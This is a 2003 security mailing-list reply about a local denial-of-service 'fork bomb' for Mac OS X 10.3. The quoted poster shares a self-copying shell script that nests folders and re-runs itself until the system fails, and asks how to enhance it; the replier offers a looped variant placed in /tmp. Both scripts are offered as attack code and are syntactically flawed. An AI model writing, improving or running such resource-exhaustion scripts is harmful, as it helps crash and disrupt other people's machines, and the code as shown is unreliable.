Re: New mac-10.3 vulnerable to a fork bomb

From: Daniel (dan_at_lockedbox.net)
Date: 11/13/03

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    Date: Wed, 12 Nov 2003 23:37:15 +0000
To: vuln-dev@securityfocus.com

    "Ben Greenberg" <benfallout2@hotmail.com> wrote:

    > I have developed a small but effecteive local DoS fork bomb, which through a

    > shell script creates folders within folders, then moves itself to the new
    > folder, worming throughout the hard drive. eventually the computer is
    > overloaded with crashes, and the fork service fails. I was hoping I could
    > have some help developing this(note: this isnt the exact script, just what i

    > remember from it. it was originally more complicated and travelled around
    > the HD a lot more):
    > crashing.sh
    > $i=$i+1
    > echo crashing
    > mkdir $i
    > mv crashing.sh $i/crashing.sh
    > cd $i
    > ./crashing.sh
    >
    > anyway to enhance this?
    Just off the top off my head also:
    just place the script in / or /tmp a static location.

    sudocode(/tmp/crash.sh):
    #!/bin/bash
    for (( $i=1 ; $i<9999 ; $i++ )) ;
    do (
    mkdir $i
    cd $i
    /tmp/crash.sh
    ) done;

    Regards,
    Daniel.

    >
    > thanks in advance,
    >
    > Ben Greenberg
    >
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